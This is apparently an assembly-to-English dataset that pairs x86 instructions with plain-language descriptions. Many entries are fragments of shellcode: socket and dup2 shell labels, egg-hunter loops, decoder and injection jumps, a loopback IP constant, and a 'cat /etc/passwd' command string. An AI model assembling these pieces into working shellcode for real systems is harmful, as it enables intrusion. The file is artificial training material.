SNIPPETS INTENTS _appendfile: define the _appendfile label _build: define the _build label _child: define the _child label _close: define the _close label _cmd: define the _cmd label _continue: define the _continue label _dup2_loop: define the _dup2_loop label _egg: define the _egg label _exec: define the _exec label _execline: define the _execline label _exit: define the _exit label _file: define the _file label _ip equ 0x0100007f define ip equal to 0x0100007f _isegg: define the _isegg label _load_data: define the _load_data label _next: define the _next label _param: define the _param label _params: define the _params label _parent_read: define the _parent_read label _parent: define the _parent label _random: define the _random label _return: define the _return label _setsockopt: define the _setsockopt label _shell: define the _shell label _socket: define the _socket label _start: _start function _start: define the _start label _user: define the _user label _while_loop: define the _while_loop label _write: define the _write label 1: define the label 1 1: define the numeric label 1 2: define the label 2 2: define the numeric label 2 3: define the label 3 3: define the numeric label 3 a_letter db 'd' allocate one byte of memory for a_letter variable and initialize it to 'd' add [ebp-4], esi add esi into memory address ebp-4 add ah, bh add the contents of the bh register into the ah register add al, 0x25 add 0x25 to the al register add al, 0x3 add 0x3 to the contents in al and save the result in al add al, 0x33 add 0x33 to the contents in al and save the result in al add al, 0x40 add 0x40 to the al register add al, 0x66 add 0x66 to the contents in al and save the result in al add al, 0xa add 0xa to the al register add al, 0xb add 0xb to the al register add al, 2 add the value 2 to the contents of the al register add al, byte '0' add byte '0' to al add al, byte [edi] add the byte in edi to the al register add ax, [di + 20] add memory[di + 20] to ax add ax, 01 add 01 to ax add ax, bx add the contents of bx into ax add bl, 0x2 add 0x2 to the contents in bl and save the result in bl add bx, ax add ax to bx add byte [esi], 2 add the byte value 2 to the esi register add byte [var], 10 add 10 to the single byte stored at memory address var add byte [var], 20 add 20 to the single byte stored at memory address var add byte [var], 30 add 30 to the single byte stored at memory address var add byte_value, 65 add an immediate operand 65 to byte_value add byte_value, dl add the register dl in the memory location byte_value add cl, 0x2 add 0x2 to the contents in cl and save the result in cl add cl, 0xb8 add 0xb8 to the cl register add dx, 0x1b add the value 0x1b into the dx register add dx, 0x2f2f add 0x2f2f to the contents in dx and save the result in dx add eax, [ebp-4] add the contents of the local variable stored at ebp-4 into eax add eax, 0x10 add 0x10 to eax add eax, 0x12345678 add 0x12345678 to the contents in eax and save the result in eax add eax, 0x2d383638 add 0x2d383638 to the contents in eax and save the result in eax add eax, 0x31179798 add 0x31179798 to the contents in eax and save the result in eax add eax, 10 add 10 to eax add eax, 10 add 10 to the contents of eax add eax, 16 add 16 to eax add eax, 2 add 2 to the contents of the eax register add eax, 2 add 2 to the eax register add eax, 2 add decimal 2 to eax register add eax, 24 add 24 to eax add eax, 4 add 4 to eax add eax, 40000h add 40000h to eax register add eax, 48 add 48 to eax add eax, 48 add decimal 48 to eax add eax, c add c to eax add eax, ebx add ebx to eax add eax, ebx add ebx to eax and store the result in eax add eax, ebx add the contents of ebx to the contents of eax add eax, edx add edx to eax add eax, edx add the contents of edx to the contents of eax add eax, edx add the contents of the edx register to the contents of eax register add eax, esi add the contents of esi to the contents of eax add eax, esi add the contents of the esi register to the contents of eax register add ebp, 0x2 add 0x2 to the contents of ebp add ebx, 0x2 add 0x2 to the contents in ebx and save the result in ebx add ebx, 16 add 16 to ebx add ebx, 2 add 2 to the contents of the ebx register add ebx, 2 add decimal integer 2 to ebx add ebx, 24 add 48 to ebx add ebx, 3 add 3 to the contents of the ebx register add ebx, 5 add decimal integer 5 to ebx add ebx, ecx add ecx to ebx add ecx, 1 add the value 1 into the ecx register add ecx, 16 add 16 to ecx add ecx, ebx add ebx to ecx add edi, edi add the contents of edi to the contents of edi add edi, edi add the contents of the edi register to the contents of edi register add edx, 16 set edx to next 16 byte block add edx, 32 add 32 to edx add edx, 48 add 48 to edx add edx, 64 add 64 to the contents of the edx register add edx, eax add the contents of eax to the contents of edx add edx, eax add the contents of the eax register to the contents of edx register add edx, eax add the contents of the eax register to the edx register add edx, ecx add ecx to edx add esi, 0x21354523 add 0x21354523 to the contents in esi and save the result in esi add esi, 0x21354523 add 0x21354523 to the contents of esi add esi, 0x30 add 0x30 to esi add esi, 0x33333333 add 0x33333333 value to esi add esi, 0x3f3f3f3f add 0x3f3f3f3f to the contents in esi and save the result in esi add esi, 4 add 4 to esi add esi, 4 add 4 to the contents of the esi register add esi, eax add eax to esi add esi, eax add the contents of the eax register to the contents of esi register add esp, 0x20 add 0x20 to the contents in esp and save the result in esp add esp, 3 add 3 to the contents of esp add esp, 3 add 3 to the contents of the esp register add esp, 4 add 4 to the esp register add marks, 10 add 10 to the variable marks addr: db 0x1 define the byte addr and initialize it to 0x1 all: define the all label an_integer dd 12425 define the doubleword an_integer and initialize it to 12425 and al, 0fh perform a logical and operation between the al register and the 0fh value and store the result in the al register and ax, 1 perform logical and between ax and 1 and eax, 0000000fh mask out lowest 4 bits of the eax register and eax, 0fh clear all but the last 4 bits of eax and eax, 3f465456 perform and operation between eax and 3f465456 and save the result in eax and eax, 40392b29 perform and operation between eax and 40392b29 and save the result in eax and ebx, 0000000fh mask out lowest 4 bits of the ebx register and ecx, 0000000fh mask out lowest 4 bits of the ecx register and edx, 0000000fh mask out lowest 4 bits of the edx register and mask1, 128 perform and operation on the variable mask1 and 128 arr dd 100 define the doubleword arr and initialize it to 100 arr dd 50 define the doubleword arr and initialize it to 50 arr1 resb 400 reserve the array arr1 of 400 uninitialized bytes array dd 20 define the doubleword arr and initialize it to 20 array word 20 define an array of 20 initialized word array word 5 define an array of 5 initialized word b: dd 0x0 create variable b in memory and initialize to zero big_number dd 123456789 define the doubleword variable big_number and initialize it to 123456789 bignum: resw 1 reserve 1 word at location bignum buffer: resb 64 reserve 64 bytes for buffer buffersize: dw 1024 declare buffersize to be a word containing 1024 byte_table db 14, 15, 22, 45 define a tables of bytes byte_table and initialize to 14, 15 and 22 byte_value db 150 define the byte value byte_value and initialize it to 150 bytes db 10 define the byte value bytes and initialize it to 10 bytes db 20 define the byte value bytes and initialize it to 20 call _appendfile call the _appendfile function call _build call the _build function call _continue call _continue call _continue call the _continue function call _exec call the _exec function call _exit call _exit call _malloc call _malloc call _myfunc call the _myfunc function call _params call the _params function call _printf call the _printf function call _write call the _write function call [esp] call the function in esp call atoi call the atoi function call code call the code function call cont call the cont function call decoder call the decoder function call doit call the doit function call egghunter call the egghunter function call esi call the esi function call esi call the function in esi call esp call the esp function call execute call the execute function call internetreadfile call function internetreadfile call iprint call the iprint function call iprintlf call the iprintlf function call jmp_search call jmp_search call jmp_search call the jmp_search function call loader call the loader function call main call the main function call me call the me function call my_subroutine call my_subroutine call near stageaddress call the near function call one call the one function call prepare call the prepare function call quit call the quit function call set_argv call set_argv call set_argv call the set_argv function call shell_ret call the shell_ret function call shellcode call the shellcode function call sprint call the sprint function call sprintlf call the sprintlf function call start call the start function call strlen call the strlen function call two call the two function call write call the write function call writestring call the writestring function call writestring call writestring call_decoded: define the call_decoded label call_decoder: define call_decoder function call_decoder: define the call_decoder label call_egghunter: define the call_egghunter label call_shellcode: declare the call_shellcode label call_shellcode: define call_shellcode function call_shellcode: define call_shellcode label call_shellcode: define the call_shellcode label call_write: define the call_write label callit: define the callit label callme: define the callme label callpop: define the callpop function callpop: define the callpop label cdq clear the edx register cdq extend the sign bit of eax into the edx register cdq extend the sign bit of eax register into the edx register cdq extend the sign bit of the eax register into the edx register check_even_odd: define check_even_odd function child: define the child function child: define the child label chmod_call equ 15 define chmod_call equal to 15 choice db 'y' define variable choice of 1 byte and initialize to y cld clear the direction flag cld direction flag equal to zero cld set the direction flag to zero close_syscall equ 6 define close_syscall equal to 6 closefile: define the closefile function closefile: define the closefile label cmd: define the cmd label cmd: db 'cat /etc/passwd' declare cmd string and initialize it to 'cat /etc/passwd' cmd: db 'cat /etc/passwd' define cmd as the byte string 'cat /etc/passwd' cmp [ebp+arg_0], 1 compare the contents stored at ebp+arg_0 with 1 cmp [ebp+var_a], 0 compare if the contents at memory location ebp+var_a is 0 cmp [ebp+var_a], 0 compare the contents at memory location ebp+var_a with 0 cmp [ebp+var_a], 0 \n jnz short loc_4010E5 jump short to the memory location loc_4010E5 if the contents of the memory address ebp+var_a is not equal to zero cmp [ebp+var_a], 0 \n jnz short loc_4010E5 if the contents of the memory address ebp+var_a is not equal to zero then jump short to the memory location loc_4010E5 cmp [esi], edx compare the contents at memory location esi and the contents of the edx register cmp [esi], edx compare the contents at memory location esi with edx cmp al, 0x38 \n je 0x40 \n push byte 0x1 jump to the memory address 0x40 if the contents of the al register is equal to the value 0x38 else push the byte representation of the value 0x1 onto the stack cmp al, 0x38 \n je 0x40 \n push byte 0x1 if the contents of the al register is equal to the value 0x38 then jump to the memory address 0x40 else push the byte representation of the value 0x1 onto the stack cmp al, 0xaa \n je decode_insertion \n xor al, bl jump to the decode_insertion label if the contents of the al register is equal to the vale 0xaa else perform a logical xor operation between the al register and the bl register and store the result in the al register cmp al, 0xaa \n je decode_insertion \n xor al, bl if the contents of the al register is equal to the vale 0xaa then jump to the decode_insertion label else perform a logical xor operation between the al register and the bl register and store the result in the al register cmp al, 0xf2 compare if the contents of al with 0xf2 cmp al, 0xf2 compare the contents of the al register and 0xf2 cmp al, 0xf2 compare the contents of the al register with the value 0xf2 cmp al, 0xf2 \n je _start jump to the _start label if the contents of the al register is equal to the value 0xf2 cmp al, 0xf2 \n je _start if the contents of the al register is equal to the value 0xf2 then jump to the _start label cmp al, 0xf2 \n je _start \n mov eax, 0x50905090 jump to the _start label if the contents of the al register is equal to the value 0xf2 else move the value 0x50905090 into the eax register cmp al, 0xf2 \n je _start \n mov eax, 0x50905090 if the contents of the al register is equal to the value 0xf2 then jump to the _start label else move the value 0x50905090 into the eax register cmp al, 0xf2 \n je fillOnes jump to the fillOnes label if the contents of the al register is equal to the value 0xf2 cmp al, 0xf2 \n je fillOnes if the contents of the al register is equal to the value 0xf2 then jump to the fillOnes label cmp al, 0xf2 \n je fillOnes \n mov eax, 0x59935193 jump to the fillOnes label if the contents of the al register is equal to 0xf2 else move the value 0x59935193 into the eax register cmp al, 0xf2 \n je fillOnes \n mov eax, 0x59935193 if the contents of the al register is equal to 0xf2 then jump to the fillOnes label else move the value 0x59935193 into the eax register cmp al, 0xf2 \n je next_page jump to the label next_page if the contents of the al register is equal to the value 0xf2 cmp al, 0xf2 \n je next_page if the contents of the al register is equal to the value 0xf2 then jump to the label next_page cmp al, 0xf2 \n jz _start jump to the _start label if the contents of the al register is equal to the value 0xf2 cmp al, 0xf2 \n jz _start if the contents of the al register is equal to the value 0xf2 then jump to the _start label cmp al, 0xf2 \n jz incpage jump to the incpage label if the contents of the al register is equal to the value 0xf2 cmp al, 0xf2 \n jz incpage if the contents of the al register is equal to the value 0xf2 then jump to the incpage label cmp al, 9 \n jg l1 jump to the label l1 if the contents of the al register is greater than the decimal value 9 cmp al, 9 \n jg l1 if the contents of the al register is greater than the decimal value 9 then jump to the label l1 cmp al, 9 \n jge l1 jump to the label l1 if the contents of the al register is greater than or equal to the decimal value 9 cmp al, 9 \n jge l1 if the contents of the al register is greater than or equal to the decimal value 9 then jump to the label l1 cmp al, bl \n ja l2 \n add eax, 3 jump to the l2 label if the unsigned contents of the al register is greater than the unsigned contents of the bl register else add the value 3 to the eax register cmp al, bl \n ja l2 \n add eax, 3 if the unsigned contents of the al register is greater than the unsigned contents of the bl register then jump to the l2 label else add the value 3 to the eax register cmp al, bl \n jb l2 jump to the label l2 if the unsigned contents of the al register is lower than the unsigned contents of the bl register cmp al, bl \n jb l2 if the unsigned contents of the al register is lower than the unsigned contents of the bl register then jump to the label l2 cmp al, cl compare the contents of al with the cl register cmp al, cl compare the contents of the al register and the contents of the cl register cmp al, cl \n jne short decode \n jmp shellcode jump short to the decode label if the contents of the al register is not equal to the contents of the cl register else jump to the shellcode label cmp al, cl \n jne short decode \n jmp shellcode if the contents of the al register is not equal to the contents of the cl register then jump short to the decode label else jump to the shellcode label cmp ax, bx \n jne l3 jump to the l3 label if the contents of the ax register is not equal to the contents of the bx register cmp ax, bx \n jne l3 if the contents of the ax register is not equal to the contents of the bx register then jump to the l3 label cmp ax, bx \n jne l3 \n jmp while jump to the l3 label if the contents of the ax register is not equal to the contents of the bx register else jump to the while label cmp ax, bx \n jne l3 \n jmp while if the contents of the ax register is not equal to the contents of the bx register then jump to the l3 label else jump to the while label cmp bh, al compare the contents of bh and the contents of al cmp bl, 0x1f compare the contents of bl and 0x1f cmp bl, 0x1f \n jb 0xf3 \n add al, 0x40 jump to the memory address 0xf3 if the unsigned contents of the bl register is lower than the unsigned value 0x1f else add the 0x40 value to the al register cmp bl, 0x1f \n jb 0xf3 \n add al, 0x40 if the unsigned contents of the bl register is lower than the unsigned value 0x1f then jump to the memory address 0xf3 else add the 0x40 value to the al register cmp bl, 0xaa \n je shellcode jump to the shellcode label if the contents of the bl register is equal to the value 0xaa cmp bl, 0xaa \n je shellcode if the contents of the bl register is equal to the value 0xaa then jump to the shellcode label cmp bl, 0xbb \n je xordecode \n jmp notdecode jump to the xordecode label if the contents of the bl register is equal to the value 0xbb else jump to the notdecode label cmp bl, 0xbb \n je xordecode \n jmp notdecode if the contents of the bl register is equal to the value 0xbb then jump to the xordecode label else jump to the notdecode label cmp bl, 48 compare ebx register's lower half value against ascii value 48 cmp bl, 57 compare ebx register's lower half value against ascii value 57 cmp bl, 78h \n jg short loc_402B1D jump to the memory location loc_402B1D if the contents of the bl register is greater than the value 78h cmp bl, 78h \n jg short loc_402B1D if the contents of the bl register is greater than the value 78h then jump to the memory location loc_402B1D cmp bl, 78h \n jge short loc_402B1D jump to the memory location loc_402B1D if the contents of the bl register is greater than or equal to the value 78h cmp bl, 78h \n jge short loc_402B1D if the contents of the bl register is greater than or equal to the value 78h then jump to the memory location loc_402B1D cmp bl, 78h \n jl short loc_402B1D jump to the memory location loc_402B1D if the contents of the bl register is less than the value 78h cmp bl, 78h \n jl short loc_402B1D if the contents of the bl register is less than the value 78h then jump to the memory location loc_402B1D cmp bl, 78h \n jle short loc_402B1D jump to the memory location loc_402B1D if the contents of the bl register is less than or equal to the value 78h cmp bl, 78h \n jle short loc_402B1D if the contents of the bl register is less than or equal to the value 78h then jump to the memory location loc_402B1D cmp bl, al \n je loop_2 jump to the loop_2 label if the contents of the bl register is equal to the contents of the al register cmp bl, al \n je loop_2 if the contents of the bl register is equal to the contents of the al register then jump to the loop_2 label cmp bl, al \n je loop_2 \n jmp short not_found jump to the loop_2 label if the contents of the bl register is equal to the contents of the al register else jump short to the not_found label cmp bl, al \n je loop_2 \n jmp short not_found if the contents of the bl register is equal to the contents of the al register then jump to the loop_2 label else jump short to the not_found label cmp byte [buff], 61h compare the byte at the memory location buff with 61h cmp byte [buff], 7ah compare the byte at the memory location buff with 7ah cmp byte [eax], 0 compare the byte pointed to by eax at this address against zero cmp byte [ebp+ecx], 61h compare the byte at the memory location ebp+ecx with 61h cmp byte [ebp+ecx], 7ah compare the byte at the memory location ebp+ecx with 7ah cmp BYTE [edx], 0x2e \n jne l2 jump to the l2 label if the byte starting at the address contained in the edx register is not equal to the byte value 0x2e cmp BYTE [edx], 0x2e \n jne l2 if the byte starting at the address contained in the edx register is not equal to the byte value 0x2e then jump to the l2 label cmp BYTE [edx], 0x2e \n jne l2 \n jmp while jump to the l2 label if the byte starting at the address contained in the edx register is not equal to the byte value 0x2e else jump to the while label cmp BYTE [edx], 0x2e \n jne l2 \n jmp while if the byte starting at the address contained in the edx register is not equal to the byte value 0x2e then jump to the l2 label else jump to the while label cmp byte [esi], 0x7 compare the byte in esi with 0x7 cmp BYTE [esi], 0x7 \n jl lowbound jump to the lowbound label if the byte starting at the address contained in the esi register is lower than the byte value 0x7 cmp BYTE [esi], 0x7 \n jl lowbound if the byte starting at the address contained in the esi register is lower than the byte value 0x7 then jump to the lowbound label cmp BYTE [esi], 0x7 \n jl lowbound \n sub BYTE [esi], 0x7 jump to the lowbound label if the byte starting at the address contained in the esi register is lower than the byte value 0x7 else subtract the byte value 0x7 from byte starting at the address contained in the esi register cmp BYTE [esi], 0x7 \n jl lowbound \n sub BYTE [esi], 0x7 if the byte starting at the address contained in the esi register is lower than the byte value 0x7 then jump to the lowbound label else subtract the byte value 0x7 from byte starting at the address contained in the esi register cmp BYTE [esi], 0x7 \n jle lowbound jump to the lowbound label if the byte starting at the address contained in the esi register is lower than or equal to the byte value 0x7 cmp BYTE [esi], 0x7 \n jle lowbound if the byte starting at the address contained in the esi register is lower than or equal to the byte value 0x7 then jump to the lowbound label cmp byte [esi], 0xd compare the byte at the address esi and 0xd cmp byte [esi], 0xD \n jl wrap_around jump to the wrap_around label if the byte starting at the address contained in the esi register is lower than the byte value 0xD cmp byte [esi], 0xD \n jl wrap_around if the byte starting at the address contained in the esi register is lower than the byte value 0xD then jump to the wrap_around label cmp byte [esi], 0xD \n jl wrap_around \n sub byte [esi], 0xD jump to the wrap_around label if the byte starting at the address contained in the esi register is lower than the byte value 0xD else subtract the byte value 0xD from byte starting at the address contained in the esi register cmp byte [esi], 0xD \n jl wrap_around \n sub byte [esi], 0xD if the byte starting at the address contained in the esi register is lower than the byte value 0xD then jump to the wrap_around label else subtract the byte value 0xD from byte starting at the address contained in the esi register cmp byte [esi], 0xD \n jle wrap_around jump to the wrap_around label if the byte starting at the address contained in the esi register is lower than or equal to the byte value 0xD cmp byte [esi], 0xD \n jle wrap_around if the byte starting at the address contained in the esi register is lower than or equal to the byte value 0xD then jump to the wrap_around label cmp BYTE al, 2 \n je do_inject jump to the label do_inject if the byte representation of 2 is equal to the contents of the al register cmp BYTE al, 2 \n je do_inject if the byte representation of 2 is equal to the contents of the al register then jump to the label do_inject cmp BYTE al, 2 \n je do_inject \n jmp while jump to the label do_inject if the byte representation of 2 is equal to the contents of the al register else jump to the while label cmp BYTE al, 2 \n je do_inject \n jmp while if the byte representation of 2 is equal to the contents of the al register else jump to the while label then jump to the label do_inject cmp BYTE bl, [esi] \n jne loop_1 jump to the label loop_1 if the first byte of the esi register is not equal to the contents of the bl register cmp BYTE bl, [esi] \n jne loop_1 if the first byte of the esi register is not equal to the contents of the bl register then jump to the label loop_1 cmp cl, 0x11 \n jb 0xff \n add dl, 0x5 jump to the memory address 0xff if the unsigned contents of the cl register is lower than the unsigned value 0x11 else add the 0x5 value to the dl register cmp cl, 0x11 \n jb 0xff \n add dl, 0x5 if the unsigned contents of the cl register is lower than the unsigned value 0x11 then jump to the memory address 0xff else add the 0x5 value to the dl register cmp cl, 0x3 \n jne loop jump to the loop label if the contents of the cl register is not equal to the value 0x3 cmp cl, 0x3 \n jne loop if the contents of the cl register is not equal to the value 0x3 then jump to the loop label cmp cl, 0x3 \n jne loop2 jump to the loop2 label if the contents of the cl register is not equal to the value 0x3 cmp cl, 0x3 \n jne loop2 if the contents of the cl register is not equal to the value 0x3 then jump to the loop2 label cmp cl, 12 \n jg l2 jump to the label l2 if the contents of the cl register is greater than the decimal value 12 cmp cl, 12 \n jg l2 if the contents of the cl register is greater than the decimal value 12 then jump to the label l2 cmp cl, 12 \n jge l2 jump to the label l2 if the contents of the cl register is greater than or equal to the decimal value 12 cmp cl, 12 \n jge l2 if the contents of the cl register is greater than or equal to the decimal value 12 then jump to the label l2 cmp cl, dl \n jb l3 jump to the label l3 if the unsigned contents of the cl register is lower than the unsigned contents of the dl register cmp cl, dl \n jb l3 if the unsigned contents of the cl register is lower than the unsigned contents of the dl register then jump to the label l3 cmp cl, dl \n je EncodedShellcode jump to the EncodedShellcode label if the contents of the cl register is equal to the contents of the dl register cmp cl, dl \n je EncodedShellcode if the contents of the cl register is equal to the contents of the dl register then jump to the EncodedShellcode label cmp cl, dl \n je init \n inc cl jump to the init label if the contents of the cl register is equal to the contents of the dl register else increment the contents of the cl register cmp cl, dl \n je init \n inc cl if the contents of the cl register is equal to the contents of the dl register then jump to the init label else increment the contents of the cl register cmp dl, 1 \n je exit \n jmp reading jump to the exit label if the contents of the dl register is equal to the vale 1 else jump to the reading label cmp dl, 1 \n je exit \n jmp reading if the contents of the dl register is equal to the vale 1 then jump to the exit label else jump to the reading label cmp dl, 1h compare the contents of the dl register and 1h cmp dl, 27 \n jg l3 jump to the label l3 if the contents of the dl register is greater than the decimal value 27 cmp dl, 27 \n jg l3 if the contents of the dl register is greater than the decimal value 27 then jump to the label l3 cmp dl, 27 \n jge l3 jump to the label l3 if the contents of the dl register is greater than or equal to the decimal value 27 cmp dl, 27 \n jge l3 if the contents of the dl register is greater than or equal to the decimal value 27 then jump to the label l3 cmp dl, cl \n jb l1 \n mov al, 0x39 jump to the label l1 if the unsigned contents of the dl register is lower than the unsigned contents of the cl register else move the value 0x39 to the al register cmp dl, cl \n jb l1 \n mov al, 0x39 if the unsigned contents of the dl register is lower than the unsigned contents of the cl register then jump to the label l1 else move the value 0x39 to the al register cmp dword [eax-4], egg1 compare the dword at the address [eax-4] and egg1 cmp dword [eax-4], egg1 \n jne _next \n jmp eax jump to the _next label if the doubleword starting at the address [eax-4] is not equal to the contents stored at the egg1 address else jump to the eax register cmp dword [eax-4], egg1 \n jne _next \n jmp eax if the doubleword starting at the address [eax-4] is not equal to the contents stored at the egg1 address then jump to the _next label else jump to the eax register cmp dword [eax-4], egg2 \n je _next \n jmp eax jump to the _next label if the doubleword starting at the address [eax-4] is equal to the contents stored at the egg2 address else jump to the eax register cmp dword [eax-4], egg2 \n je _next \n jmp eax if the doubleword starting at the address [eax-4] is equal to the contents stored at the egg2 address then jump to the _next label else jump to the eax register cmp dword [eax-4],egg1 compare the dword at the memory location [eax-4] with the value of egg1 cmp dword [eax-8], egg compare the dword at the address [eax-8] and egg cmp dword [eax-8], egg \n jne _next jump to the _next label if the doubleword starting at the address [eax-8] is not equal to the contents stored at the egg address cmp dword [eax-8], egg \n jne _next if the doubleword starting at the address [eax-8] is not equal to the contents stored at the egg address then jump to the _next label cmp dword [eax-8],egg compare the dword at the memory location [eax-8] with the value of egg cmp DWORD [eax], 0x4f904790 \n jne _start \n jmp eax jump to the jne _start label if the doubleword starting at the address contained in the eax register is not equal to the doubleword value 0x4f904790 else jump to the eax register cmp DWORD [eax], 0x4f904790 \n jne _start \n jmp eax if the doubleword starting at the address contained in the eax register is not equal to the doubleword value 0x4f904790 then jump to the jne _start label else jump to the eax register cmp dword [eax], ebx compare the dword at the address [eax] and the contents of the ebx register cmp dword [eax], ebx \n jne next_addr \n jmp eax jump to the next_address label if the doubleword starting at the address contained in the eax register is not equal to the contents of the ebx regoster else jump to the eax register cmp dword [eax], ebx \n jne next_addr \n jmp eax if the doubleword starting at the address contained in the eax register is not equal to the contents of the ebx regoster then jump to the next_address label else jump to the eax register cmp DWORD [eax], edx \n jne loop \n jmp eax jump to the loop label if the doubleword starting at the address contained in the eax register is not equal to the contents of the edx register else jump to the eax register cmp DWORD [eax], edx \n jne loop \n jmp eax if the doubleword starting at the address contained in the eax register is not equal to the contents of the edx register then jump to the loop label else jump to the eax register cmp DWORD [eax], edx \n jne search_the_egg \n jmp eax jump to the while label if the doubleword starting at the address contained in the eax register is not equal to the contents of the edx register else jump to the eax register cmp DWORD [eax], edx \n jne search_the_egg \n jmp eax jump to the search_the_egg label if the doubleword starting at the address contained in the eax register is not equal to the contents of the edx register else jump to the eax register cmp DWORD [eax], edx \n jne search_the_egg \n jmp eax if the doubleword starting at the address contained in the eax register is not equal to the contents of the edx register then jump to the while label else jump to the eax register cmp DWORD [eax], edx \n jne search_the_egg \n jmp eax if the doubleword starting at the address contained in the eax register is not equal to the contents of the edx register then jump to the search_the_egg label else jump to the eax register cmp DWORD [edx], 0x636f7270 \n je while jump to the while label if the doubleword starting at the address contained in the edx register is equal to the doubleword value 0x636f7270 cmp DWORD [edx], 0x636f7270 \n je while if the doubleword starting at the address contained in the edx register is equal to the doubleword value 0x636f7270 then jump to the while label cmp dword [var], 10 compare the doubleword stored at memory location var to the integer value 10 cmp dx, 00 compare the dx value with zero cmp dx, 0x03e8 \n je L1 jump to the L1 label if the contents of the dx register is equal to the value 0x03e8 cmp dx, 0x03e8 \n je L1 if the contents of the dx register is equal to the value 0x03e8 then jump to the L1 label cmp eax, 0 compare eax to zero cmp eax, 0 compare if eax is equal to 0 cmp eax, 0 compare if eax is zero cmp eax, eax compare the contents of eax and the contents of eax cmp eax, eax \n jne 0x8 jump to the memory address 0x8 if the contents of the eax register is not equal to the contents of the eax register cmp eax, eax \n jne 0x8 if the contents of the eax register is not equal to the contents of the eax register then jump to the memory address 0x8 cmp eax, eax \n jne 0x8 \n xor eax, eax jump to the memory address 0x8 if the contents of the eax register is not equal to the contents of the eax register else zero out the eax register cmp eax, eax \n jne 0x8 \n xor eax, eax if the contents of the eax register is not equal to the contents of the eax register then jump to the memory address 0x8 else zero out the eax register cmp eax, ebp \n jnz short loc_40102B jump short to the memory location loc_40102B if the contents of the eax register is not equal to the contents of the ebp register cmp eax, ebp \n jnz short loc_40102B if the contents of the eax register is not equal to the contents of the ebp register then jump short to the memory location loc_40102B cmp eax, ebx compare eax with ebx cmp eax, ebx compare the contents of eax and the contents of ebx cmp eax, ebx compare the contents of the eax register and the contents of the ebx register cmp eax, ebx \n je 0x47 jump to the memory address 0x47 if the contents of the eax register is equal to the contents of the edi register cmp eax, ebx \n je 0x47 if the contents of the eax register is equal to the contents of the edi register then jump to the memory address 0x47 cmp eax, ebx \n je 0x47 \n xor ecx, ecx jump to the memory address 0x47 if the contents of the eax register is equal to the contents of the edi register else zero out the ecx register cmp eax, ebx \n je 0x47 \n xor ecx, ecx if the contents of the eax register is equal to the contents of the edi register then jump to the memory address 0x47 else zero out the ecx register cmp eax, ebx \n je all jump to the all label if the contents of the eax register is equal to the contents of the ebx register cmp eax, ebx \n je all if the contents of the eax register is equal to the contents of the ebx register then jump to the all label cmp eax, ebx \n je all \n xor eax, eax jump to the all label if the contents of the eax register is equal to the contents of the ebx register else zero out the eax register cmp eax, ebx \n je all \n xor eax, eax if the contents of the eax register is equal to the contents of the ebx register then jump to the all label else zero out the eax register cmp eax, ebx \n je child jump to the child label if the contents of the eax register is equal to the contents of the ebx register cmp eax, ebx \n je child if the contents of the eax register is equal to the contents of the ebx register then jump to the child label cmp eax, ebx \n je connect \n ja exit jump to the connect label if the contents of the eax register is equal to the contents of the ebx register else jump to the exit label if the unsigned contents of the eax register is greater than the unsigned contents of the ebx register cmp eax, ebx \n je connect \n ja exit if the contents of the eax register is equal to the contents of the ebx register then jump to the connect label else jump to the exit label if the unsigned contents of the eax register is greater than the unsigned contents of the ebx register cmp eax, ebx \n je download jump to the download label if the contents of the eax register is equal to the contents of the ebx register cmp eax, ebx \n je download if the contents of the eax register is equal to the contents of the ebx register then jump to the download label cmp eax, ebx \n je exit jump to the exit label if the contents of the eax register is equal to the contents of the ebx register cmp eax, ebx \n je exit if the contents of the eax register is equal to the contents of the ebx register then jump to the exit label cmp eax, ebx \n je exit \n add al, 0x3 jump to the exit label if the contents of the eax register is equal to the contents of the ebx register else move the value 0x3 into the al register cmp eax, ebx \n je exit \n add al, 0x3 if the contents of the eax register is equal to the contents of the ebx register then jump to the exit label else move the value 0x3 into the al register cmp eax, ebx \n je exit \n mov al, 0x4 jump to the exit label if the contents of the eax register is equal to the contents of the ebx register else move the value 0x4 into the al register cmp eax, ebx \n je exit \n mov al, 0x4 if the contents of the eax register is equal to the contents of the ebx register then jump to the exit label else move the value 0x4 into the al register cmp eax, ebx \n je L1 jump to the L1 label if the contents of the eax register is equal to the contents of the ebx register cmp eax, ebx \n je L1 if the contents of the eax register is equal to the contents of the ebx register then jump to the L1 label cmp eax, ebx \n jne retry jump to the retry label if the contents of the eax register is not equal to the contents of the ebx register cmp eax, ebx \n jne retry if the contents of the eax register is not equal to the contents of the ebx register then jump to the retry label cmp eax, edi \n jne infinite jump to the infinite label if the contents of the eax register is not equal to the contents of the edi register cmp eax, edi \n jne infinite if the contents of the eax register is not equal to the contents of the edi register then jump to the infinite label cmp eax, edi \n jne infinite \n xor eax, eax jump to the infinite label if the contents of the eax register is not equal to the contents of the edi register else zero out the eax register cmp eax, edi \n jne infinite \n xor eax, eax if the contents of the eax register is not equal to the contents of the edi register then jump to the infinite label else zero out the eax register cmp eax,ebx compare the contents of eax with ebx cmp ebp, 0 compare the contents of the ebp register with the value 0 cmp ebx, 0 compare if ebx is zero cmp ebx, 9 \n ja exit \n jmp loop jump to the exit label if the unsigned contents of the ebx register is greater than the unsigned value 10 else jump to the loop label cmp ebx, 9 \n ja exit \n jmp loop if the unsigned contents of the ebx register is greater than the unsigned value 10 then jump to the exit label else jump to the loop label cmp ecx, 0 compare ecx to 0 cmp ecx, 0 compare if ecx is zero cmp ecx, 0h compare ecx with 0h cmp ecx, 10 compare if ecx is equal to 10 cmp ecx, 100 compare if ecx is equal to 100 cmp ecx, 100 compare if our counter is equal to 100 cmp ecx, 5 compare ecx with 5 cmp ecx, ebp compare ecx and ebp cmp ecx, ebp compare the contents of the ecx register with the contents of the ebp register cmp ecx, edx \n ja l1 jump to the l1 label if the unsigned contents of the ecx register is greater than the unsigned contents of the edx register cmp ecx, edx \n ja l1 if the unsigned contents of the ecx register is greater than the unsigned contents of the edx register then jump to the l1 label else cmp edi, 0 compare if edi is equal to 0 cmp edx, 0 compare if edx is zero cmp edx, 0x43 \n ja loop \n push edx jump to the loop label if the unsigned contents of the edx register is greater than the unsigned value 0x43 else push the contents of the edx register onto the stack cmp edx, 0x43 \n ja loop \n push edx if the unsigned contents of the edx register is greater than the unsigned value 0x43 then jump to the loop label else push the contents of the edx register onto the stack cmp edx, 10 compare whether the edx register has reached 10 cmp edx, 42 compare the contents of edx to 42 cmp edx, 42 \n je short loc_402B13 jump to loc_402B13 if the contents of the edx register is equal to 42 cmp edx, 42 \n je short loc_402B13 if the contents of the edx register is equal to 42 then jump to loc_402B13 cmp edx, ebx compare the contents of edx and the contents of ebx cmp edx, ebx \n je 0x8 \n jump to the memory address 0x8 if 